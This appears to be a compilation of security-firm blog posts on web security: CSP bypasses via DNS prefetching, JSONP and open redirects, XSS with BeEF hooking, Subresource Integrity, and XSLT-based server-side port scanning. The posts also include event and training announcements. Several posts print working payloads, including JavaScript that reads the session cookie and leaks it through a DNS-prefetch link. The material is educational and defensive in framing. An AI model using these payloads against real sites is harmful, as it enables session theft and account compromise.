Bypassing Content-Security-Policy with DNS prefetching


The Content Security Policy (CSP) is one of the main web-based security mechanisms which helps websites’ owners to reduce their risks caused by Cross-Site-Scripting (XSS) or code injection attacks [1]. The CSP is nothing more than a policy that defines from where and to where a something can be loaded and fetched. This is preventing cross-domain loading by malicious code from external sites. However, the CSP concept is not protecting against data exfiltration techniques.

Different researches pointed out different methods to exfiltrate information and circumvent the CSP [2]. This blog post will focus on the data exfiltration method using the Browser DNS Prefetching mechanism illustrated at [3]. Further information about the CSP can be found on our previous blog post or by visiting the CSP website [4].

Browser DNS Prefetching

On the Web, every millisecond matters, browsers are the windows of the Internet and have to be as fast as possible to allow users to get the best surfing experience. One method implemented by browsers to be more efficient is DNS Prefetching. The idea behind is to pre-resolve hostnames into IP addresses and cache them for a later usage. The browser pre-resolves hostnames discovered in the content of the received page (like hostname in a tags), saving hundreds of milliseconds to seconds of the user’s time.


Source []

To manage the automated DNS prefetching feature of the browser, the X-DNS-Prefetch-Control HTTP Header is used [5][6].

x-dns-prefetch-control: off

This header has two possible values, either “on” or “off”. By default, if the header is not set, the automated DNS prefetching is enabled for the pages acquired over HTTP and disabled for those available over HTTPS. In addition, a developer can tell the browser which hostname should be pre-resolved, this can be done using the <link> tag. For example, this tag <link rel=”dns-prefetch” href=””> will cause the browser to perform a DNS prefetch of the domain.


This technique is undoubtedly good to considerably decrease the webpage loading time. However, this feature allows an attacker to bypass the CSP policies and exfiltrate information like sessions’ cookies or credentials.

Now I will introduce how a possible attack scenario works:

Imagine the attacker has discovered a web application vulnerable to XSS where he can inject some JavaScript code (non-inline). However, the CSP is preventing the information leakage and the attacker cannot send any data to his external server. The policy, which is very strict, is set as follows:

Content-Security-Policy: default-src 'none'; script-src 'self'

This defined CSP policy allows only script resource loaded from the website itself.

Now, taking advantage of the automated DNS prefetching, the attacker can include the information he wants to leak inside valid DNS names owned by him. For example, the session cookie with value “abcd1234” will be transformed into the domain name “”, which can now be injected in the page DOM using the following link tag:

<link rel="dns-prefetch" href="//">

The following JavaScript code will inject the above tag programmatically:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0]; 
// injecting the link tag in the HTML body force the browser 
// to prefetch the given domain 
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"
  href=\"//" + sessionid + "\">";

After executing the injected JavaScript, the browser starts the pre-fetching procedure and the resolution of the domain name “” will take place. Now the attacker only needs to log the DNS requests on his DNS server to be able to read back the leaked information.


Conclusion and Mitigation

This attack shows the limitation of the current CSP definition, which does not take in account the DNS pre-fetching mechanism and data exfiltration vulnerability. Talking to the fellows inventing CSP we have learned, that data exfiltration was never the main goal of the project, instead it was designed to protect against XSS.

Currently, there are no concrete countermeasures against this kind of attack which uses DNS prefetch as vector. Firefox is the only browser which allows to disable the prefetching mechanism using the X-DNS-Prefetch-Control header. Compass Security still encourages the use of CSP and as always best practices like input validation and output encoding should be used to avoid the problem at the root.

Sources & References


Cross-Site Scripting

Cross-Site Scripting is harmless? Think again!

Cross-Site Scripting, oftentimes referred to as “XSS”, is a common vulnerability of web applications. This vulnerability refers to the incorrect behavior of a web application to insufficiently encode user provided data when displaying it back to the user. If this is the case, attackers are able to inject malicious code, for instance JavaScript, into the affected website.

xssOne of our main tasks at Compass Security is testing web applications for security issues. Thus, we can safely say that many current web applications are affected by this type of vulnerability, even though protecting against it is simple. For simplicity reasons, XSS is usually depicted as a popup window displaying simple text.

Such a popup would be induced by the following code:


The entire attack would look as follows, given that the parameter param is vulnerable. Assume that the following code is used by a web application without employing output encoding:

<input type="text" name="param" value="user_input">

Here, user_input is the non-output encoded data provided by the user.

Then, an attacker can exploit this by setting param to


which will lead to the following being sent to the user:

<input type=”text” name=”param” value=”“><script>alert(0)</script><!–“>

resulting in the above popup being displayed.

When discussing XSS with customers, one of the more common statements we hear is: “this issue is harmless; it only displays text in a popup window”. This is not true, however, since XSS is far more powerful than often suspected. It allows an attacker to take full control over the victim’s browser. The victim, in this case, is the user who visits the attacked website. Common attack vectors include the victim’s session cookie being stolen, if it is not protected by the so-called HttpOnly flag. Further, the affected website can be manipulated so that the user is redirected to a Phishing website, allowing the attacker to obtain the user’s credentials. Finally, if the victim’s browser is outdated and contains known vulnerabilities, these can directly be exploited via Cross-Site Scripting and, if successful, lead to the victim’s computer being compromised.

beefMany of the above-mentioned attack vectors can be very easily tested using the BeEF (Browser Exploitation Framework) Framework ( This framework provides many attack vectors that can be used by including just one malicious JavaScript file into the vulnerable website. Hence, instead of the above code (“><script>alert(0)</script><!–), the following would be injected:

“><script src=></script><!–

where is an attacker-controlled website and hook.js is the malicious JavaScript file that will allow the BeEF server on the attacker’s machine to take control over the victim’s browser.

Once the victim’s browser executes the injected JavaScript, it is “hooked”, that is, in the attacker’s control, allowing them to obtain all kinds of information such as the user’s cookies, browser type and version, etc.:


Among many different types of attack vectors, BeEF allows, e.g., displaying a password prompt to the user (in the user’s browser):

beef_password_alertOnce the user entered their password, it is sent to the attacker:

beef_password_resultHow to protect against such attacks?

Simple! Just encode user-provided data before echoing it back to the user. An effective method is to use HTML entities:
is encoded as &quot;,
< is encoded as &lt;,
and so forth (for a detailed explanation, refer to

If you want to see this any many more typical web application vulnerabilities, try them out yourself, and learn how to defend against them, register for our next Web Application Security course:

The Web Application Security (Basic/Advanced) courses will introduce all major web application attack vectors via theory and hands-on challenges in our Hacking-Lab:

Content-Security-Policy: misconfigurations and bypasses


The Content Security Policy (CSP) is a security mechanism web applications can use to reduce the risk of attacks based on XSS, code injection or clickjacking. Using different directives it is possible to lock down web applications by implementing a whitelist of trusted sources from which web resources like JavaScript may be loaded. Currently the CSP version 2 is supported by Firefox, Google Chrome, and Opera, whereas other browsers provide limited support or no support at all (Internet Explorer)[4].

The CSP has two modes of operation [7]: enforcing and report-only. The first one can be used to block and report attacks whereas the second one is used only to report abuses to a specific reporting server. In this blog post, we will focus only on the enforcing mode.

The policy, in order to work, has to be included in each HTTP response as a header (“Content-Security-Policy:”). The browser will then parse the CSP and check if every object loaded in the page adheres to the given policy. To specify these rules, the CSP provides different directives [5]:

  • script-src: defines valid sources of JavaScript
  • object-src: defines valid sources of plugins, like <objects>
  • img-src: defines valid sources of images
  • style-src: defines valid source of stylesheets
  • report-uri: the browser will POST a report to this URI in case of policy violation

Each of these directives must have a value assigned, which is usually a list of websites allowed to load resources from. The default behavior of directives if omitted, is to allow everything (“*”) without restrictions [9]. A basic example of a valid CSP is shown below:

Content-Security-Policy: default-src 'self'; script-src

The directive “default-src” is set to ‘self’, which means same origin. All resources without a directive set are allowed to be loaded only from the same origin, in this case “”. Setting the “default-src” directive can be a good start to deploy your CSP as it provides a basic level of protection. “script-src” is used to allow all JavaScripts to be loaded from the domain “”, via HTTP (https:// should be explicitly specified) without allowing subdomains. These could be specified directly (e.g. or using the “*” wildcard (*

Misconfigurations and Bypasses

Even though it is possible to have a good level of control over the policy, errors in the definition of directives may lead to unexpected consequences. Misconfiguration or ambiguities can render the policy less efficient or easy to bypass. In addition, the functionality of the application could also be broken. The following example illustrates what can happen if “default-src” is omitted:

Content-Security-Policy: script-src

Now, all the scripts with source “” are allowed. But what about the other objects like stylesheets or flash applets? The policy above can be bypassed for example using this payload, which triggers an alert box using a Flash object[7]:

">'><object type="application/x-shockwave-flash" 
<param name="AllowScriptAccess" value="always"></object>

One other common mistake is the inclusion of the dangerous “unsafe-inline” or “unsafe-eval” directives. These allow the execution of potentially malicious JavaScript directly via “<script>” tags or eval():

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline';

This policy defines the default source as “self” and allows the execution of script from “” but, at the same time, it allows the execution of inline scripts. This means that the policy can be bypassed with the following payload [7]:


The browser will then parse the JavaScript and execute the injected malicious content.

Besides these trivial misconfigurations shown above, there are some other tricks used to bypass CSP that are less common and known. These make use, for example, of JSONP (JSON with padding) or open redirects. Let’s take a look at JSONP bypasses.

If the CSP defines a whitelisted JSONP endpoint, it is possible to take advantage of the callback parameter to bypass the CSP. Assuming that the policy is defined as follows:

Content-Security-Policy: script-src 'self';

The domain hosts a JSONP endpoint, which can be called with the following URL:{functionName}

Now, what happens if the {functionName} parameter contains a valid JavaScript code which could be potentially executed? The following payload represents a valid bypass [7]:

">'><script src=";u">

The JSONP endpoint will then parse the callback parameter, generating the following response:

Alert(1); u({……})

The JavaScript before the semicolon, alert(1), will be executed by the client when processing the response received.

URLs with open redirects could also pose problems if whitelisted in the CSP. Imagine if the policy is set to be very restrictive, allowing only one specific file and domain in its “script-src” directive:

Content-Security-Policy: default-src: 'self'; script-src

At first sight, this policy seems to be very restrictive: only the myfile.js can be loaded along with all the scripts originating from “” which is a site we trust. However, performs open redirects through a parameter in the URL. This could be a possible option to bypass the policy [7]:

">'><script src="">

Why is it possible to bypass the CSP using this payload? The CSP does not check the landing page after a redirect occurs and, as the source of the script tag “” is whitelisted, no policy violation will be triggered.

These are only a small subset of possible CSP bypasses. If you are interested, many of them can be found at [6] or [7].

The “nonce” directive

Besides the whitelist mechanism using URLs, in the CSP2 there are other techniques that can be used to block code injection attacks. One of these is represented for example by “nonces”.

Nonces are randomly generated numbers that should be defined in the CSP and included only inside <script> or <style> tags to identify resources and provide a mapping between the policy and the client’s browser. An attacker injecting a payload containing a script tag has no knowledge of the nonce previously exchanged between the client and the server, resulting in the CSP detecting this and throwing a policy violation. A possible configuration of a CSP with nonces could be:

Content-Security-Policy: script-src 'nonce-eED8tYJI79FHlBgg12'

The value of the nonce (which should be random, unpredictable, generated with every response, and at least 128 bits long [10]) is “eED8tYJI79FHlBgg12”.

This value should be then passed to each script tag included in our application’s pages:

<script src="http://source/script.js" nonce="eED8tYJI79FHlBgg12">

The browser will then parse the CSP, check if the scripts included have a matching value and block those that do not include any valid nonce. This technique works great against stored XSS, as the attacker cannot include valid nonces at injection time. Another advantage is that there is no need to maintain whitelists of allowed URLs, as the nonce acts as an access token for the <script> tag and not necessarily for the source of the script. It is also possible to use hashes in order to identify the content of each <script> element inside the page, more information about this feature can be found at [8].


We have seen that the CSP is a very useful tool web developers can use to have better control on the loaded resources. The different directives provide flexibility to allow or deny potentially dangerous web resources inside web pages. However, it is also easy to make errors if too many URLs are whitelisted (e.g. hidden JSONP endpoints). Here at Compass we encourage the use of the CSP as an additional barrier against web threats. Nonetheless, I would like to stress that the first protection against code injection should always be provided by a solid input/output validation, which can help also against other common attacks like SQL injections.

If you would like to get more information about how web applications should be protected, or you want to deepen your web security knowledge we provide different trainings:

We are also offering trainings in other areas of IT Security. You can check the different topics here:

Sources & References


Presentation on SAML 2.0 Security Research

Compass Security invested quite some time last year in researching the security of single sign-on (SSO) implementations. Often SAML (Security Assertion Markup Language) is used to implement a cross-domain SSO solution. The correct implementation and configuration is crucial for a secure authentication solution. As discussed in earlier blog articles, Compass Security identified vulnerabilities in SAML implementations with the SAML Burp Extension (SAML Raider) developed by Compass Security and Emanuel Duss.

Antoine Neuenschwander and Roland Bischofberger are happy to present their research results and SAML Raider during the upcoming

– January 14, 2016, 18-19 PM, Jona
– January 21, 2016, 18-19 PM, Bern

Free entrance, food and beverage. Registration required.

Get more information in our Beer-Talk page and spread the word. The Compass Crew is looking forward to meeting you.

Subresource Integrity HTML Attribute

Websites nowadays are mostly built with different resources from other origins. For example, many sites include scripts or stylesheets like jQuery or Bootstrap from a Content Delivery Network (CDN). This induces that the webmasters implicitly trust the linked external sources. But what if an attacker can force the user to load the content from an attacker controlled server instead of the genuine resource (e.g. by DNS poisoning, or by replacing files on a CDN)? A security-aware webmaster had no chance to protect his website against such an incident.

This is the point where Subresource Integrity kicks in. Subresource Integrity ensures the integrity of external resources with an additional attribute for the two HTML tags <link> and <script>. The integrity attribute contains a cryptographic hash of the external resource which should be integrated in the site. The browser then checks if the hash of the fetched resource and the hash in the HTML attribute are identical.

Bootstrap example:

<link rel="stylesheet" href="" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs8" crossorigin="anonymous">

In the example above, resource bootstrap.min.css is checked for its integrity with its Base64 encoded SHA-384 hash. If the integrity check is positive, the browser applies the stylesheet (or executes the script in the case of a <script> tag). If the check fails, the browser must refuse to apply the stylesheet or execute the script. The user is not informed if the check has failed and a resource therefore could not be loaded. The failed request can only be seen in the developer tools of the used browser. The following image shows the error message in the Chrome developer tools.

Console in browser does inform about subresource integrity check fail.

Console in browser does inform about subresource integrity check fail.

The crossorigin attribute in the example configures the CORS request. A value anonymous indicates, that requests for this element will not have set the credentials flag and therefore no cookies would be sent. A value of use-credentials would indicate, that the request will provide cookies to authenticate.

The subresource integrity attribute is currently being reviewed before becoming a W3C standard but is already supported by Chrome 45≤ , Firefox 43≤ and Opera 32≤.

Concluding, the subresource integrity attribute offers better possibilities for webmasters to ensure the integrity of external resources. However, this attribute is not supported by older browsers and needs to be adjusted at every resource change. In the end, a security aware webmaster will keep more control with less effort by keeping all resources hosted on his own servers.

Compass Security at CYBSEC15 in Yverdon-les-Bains


As in past years, Compass Security will participate in the upcoming CyberSec Conference in Yverdon-les-Bains (formerly Application Security Forum – Western Switzerland). This year, we will contribute in two events:

First, Antoine Neuenschwander and Alexandre Herzog will conduct a day long training session on Tuesday, November 3rd. Participants will be able to exercise their skills and learn with step-by-step instructions on how to exploit vulnerable web applications at their own pace and with the support of the trainers within the CTF environment.

ivanoSecond, Ivano Somaini will share his practical experience of physically breaking into banks and other critical infrastructures in his talk “Social Engineering: The devil is in the details” on Wednesday, November 4th. Ivano looks forward to his first talk in the French speaking part of Switzerland. He was lately a lot in the news in the Swiss Italian and German part of Switzerland, due to his extensive interviews to Coop Cooperazione (in Italian), to the Tages Anzeiger (in German), and his participation to popular talkshow “Aeschbacher” on Swiss television SRF1 (video of the interview).

We are looking forward to meeting you at this occasion, either during the Castle evening networking event, the workshop or the conferences!

Excuse me, where is the best site of the city? After the DOM, just turn right!

During a SharePoint 2013 penetration test I performed last November, I noticed that a dynamically constructed JavaScript constantly fetched content or redirected me to the requested pages.
Using a variation of the double-slash trick we exploited in the past, I misused this functionality in order to perform a DOM based open redirection attack. Every SharePoint 2013 server is vulnerable, as the weakness is within a component accessible anonymously even when sites are restricted to authenticated users only.

This vulnerability enables an attacker to create a malicious link, which is sent i.e. via e-mail to his target. When the victim clicks on the link, the malformed JavaScript is executed and redirects the victim to a third party site. i.e This attack leaves no audit trail in the server’s log and cannot be blocked by a Web Application Firewall as the payload is executed and stays exclusively in the client’s browser. As a pentester, but especially as a social engineer, this is exactly the technical vulnerability that I’m always looking for in order to perform very effective phishing attacks abusing a trustworthy domain.

Before uncovering more technical details about the issue, we want to ensure everyone had enough time to patch their SharePoint servers adequately. While Microsoft estimated that an anonymous and by default enabled DOM based open redirect in SharePoint 2013 was not severe enough for the release of a dedicated security bulletin, they committed themselves to fix it in a product update. Update KB3054867 fixes the issue and is available since June on Microsoft’s Download Center. While the page doesn’t mention any security updates, we strongly encourage you to test and install the patch across all your SharePoint 2013 servers. Microsoft acknowledged my contribution on its page “Security Researcher Acknowledgments for Microsoft Online Services” of August 2015. Further technical details will be released after a grace period of 2 months, to leave enough time to everyone to patch the issue.

Hacklab Q2 – NoSQL mischief

At our reoccurring Hacklab days, we at Compass get the chance to hack some stuff of our own choice together for a day. For example playing with GSM in an attempt to send fake SMS or eavesdrop on voice data, comparing Encase capabilities to Unix command line forensic tools or cloning door entry badges in an attempt to gain unauthorized access to buildings or elevators.

During the Hacklab I gathered a few colleagues to create “team NoSQL” and toyed around with some of the example applications. Our project was based on a VM with several instances of “state of the art” web technologies, most of them involving a NoSQL database.

As a first task we performed a NoSQL injection on a self-developed PHP frontend with a MongoDB backend, as discussed in Hacking NodeJS and MongoDB. Additionally we wrote a python script which extracts cleartext password from the MongoDB with a binary search algorithm using the same vulnerability.

We also spent some time analyzing and exploiting race conditions in web applications, as for example described in Race Conditions on Facebook  and Hacking Starbucks for unlimited coffee. Using just the Linux command line, it was possible to generate arbitrary amount of money in a mockup Bitcoin website by sending a large amount of HTTP requests in parallel.

The slides of our presentation and the MongoDB bruteforcer script can be downloaded here:

XSLT Security and Server Side Request Forgery

Nowadays, a growing list of XSLT processors exist with the purpose of transforming XML documents to other formats such as PDF, HTML or SVG. To this end such processors typically offer a powerful set of functionalities – which, from a security point of view, can potentially pose severe risks.

Within this post, we highlight some of the threats one gets exposed when operating a misconfigured XSLT processor. The goal here is to increase people’s awareness when configuring modern XSLT processors.

Tested XSLT Processors

The subsequent table lists the XSLT processors investigated in our tests.

XSLT Processor Manufacturer License Windows Version Linux Version
libxslt Gnome Project MIT License 1.1.26 1.1.28
Saxon-HE Saxonica Limited Mozilla Public License V1.0
Saxon-EE Saxonica Limited Mozilla Public License V1.0
Xalan-J Apache Software Foundation Apache License V2.0 2.7.1 2.7.2
Xalan-C Apache Software Foundation Apache License V2.0 1.11 1.11
MSXML 4.0 Microsoft Proprietary 4.0 SP3
MSXML 6.0 Microsoft Proprietary SP2 (File Version 6.20.1099)
.NET System.xml Microsoft Proprietary 4.0.30319


We divided the security threats exposed by the XSLT processors into six categories:

  1. Information Disclosure
  2. Read Files
  3. Write Files
  4. Database Access
  5. Include External Stylesheet
  6. Code Execution

The results are summarized in following figure:

XSLT Vulnerabilities

Vulnerability Overview of Tested XSLT Processors

The above results clearly show that the great functionality of modern XSLT processors comes with a tremendous downside: If used in their default configuration, or otherwise not properly configured, XSLT processors can endanger confidentiality and integrity on XSLT servers or allow the execution of arbitrary code. Even worse, the vulnerable XSLT server might be abused to forge attacks against remote third parties, such as for instance performing anonymous port scans (see example below).

Example: Server Side Port Scanning Forgery

Here, we give a short example of how to misuse the document() function (used to access external XML documents) on a remote XSLT server to forge port scanning against an external third party. In the example, the investigated third party is located on host ““, and tested against port 22 (SSH).

The attacker “Mallory“, trying to learn whether or not port 22 on “” is open or closed, submits the following XSL file to a server “Alice” running a vulnerable XSLT processor.

XSLT Portscan

Port Scanning XSL File

Next, “Alice” processes the XSL file submitted by “Mallory” and as consequence tries to access the external XML resource located on ““. Dependent on whether or not port 22 is open on ““, a different response is sent back to “Alice“, who finally forwards the result to “Mallory“. Since the result “Mallory” receives is different for open/closed ports, she can learn the port state on ““. Note that in this way “Mallory” has performed the port scan anonymously, since the only party speaking to “” was “Alice“.

For the sample processor libxslt in our test set, the response received by “Mallory” might look like shown below:

Port State Response
Port Open parser error : Document is empty
Port Close (Timeout) Operation in progress I/O warning
Invalid Host No such file or directory I/O warning

In summary, “Mallory” was able to forge a port scanning request from “Alice” against ““.


This blog post is based on a Seminar paper (XSLT Processing Security and Server Side Request Forgeries) written by Emanuel Duss and Roland Bischofberger, in collaboration with Compass Security Schweiz AG:

E. Duss and R. Bischofberger. “XSLT Processing Security and Server Side Request Forgeries: Analyse, Demonstration und Gegenmassnahmen“. Seminar Paper, Hochschule für Technik Rapperswil, Autumn 2014

Further Readings

Aktuelle Security Trainings

Web Application Security Training

Die Compass Security hat im Moment im Bereich Web Security zwei Kurse ausgeschrieben. Ein Basic und ein Advanced. Unsere öffentlichen Kurse dauern jeweils 2-Tage und bestehen zur Hälfte aus praktischen Beispielen (Hands-On Lab) und zur anderen Hälfte aus Theorie. Wobei die Doing-Aufgaben in der
Regel eine Schritt-für-Schritt Anleitung sind.

Der Hacker-Angriff erfolgt zunehmend über den Browser auf Web Anwendungen. Durch die grosse Verbreitung der Web Technologie steigt der Bedarf für Sicherheit und die sichere Programmierung. Das Thema beschäftigt nicht nur E-Banking und Online Trading Anbieter, sondern auch Shops mit Kreditkarten Zahlungen, eHealth, eVoting und Anwendungen mit schützenswerten Daten. Bei diesen Seminaren erlernen Sie anhand von Theorie und praktischen Laborübungen im Hacking-Lab die OWASP TOP 10 kennen und können im Anschluss selbst Sicherheitsprobleme aufdecken, sichere Anwendungen schreiben und Security Policies verfassen.

Web Application Security Basic, 03. und 04. März 2015 in Bern (Schweiz)

Web Application Security Advanced, 05. und 06. März 2015 in Bern (Schweiz)

Die Inhalte der Kurse können wir beliebig zusammenstellen. Weitere Themen, die im Moment nicht ausgeschrieben sind, wären:

  • DOM Injections (mittlerweile eine prominente Art von XSS)
  • AngularJS Security
  • OAuth 2
  • OpenID
  • XSLT

Secure Mobile Apps, 23. und 24. März 2015 in Bern (Schweiz)

Mit der wachsenden Verbreitung von mobilen Geräten stehen diese zunehmend im Fokus von Cyber Kriminellen. Mit einem guten App Design und der richtigen Nutzung der Hersteller API sind gute und sichere Lösungen möglich! Doch wo befinden sich die typischen Sicherheitslücken? Die Compass Security AG hat eine verwundbare Training Mobile App für Android und iOS entwickelt, um die Kursteilnehmer anhand von praktischen Beispielen in das Thema „Mobile Secure App“ einzuführen und sie für Self-Assessments und Sicherheitsfragen zu sensibilisieren.

Weitere Informationen sind unter vorhanden.

Falls Sie keinen passenden Kurs gefunden haben, schauen Sie doch in Zukunft unter vorbei. Compass Security bietet regelmässig neue Trainings an.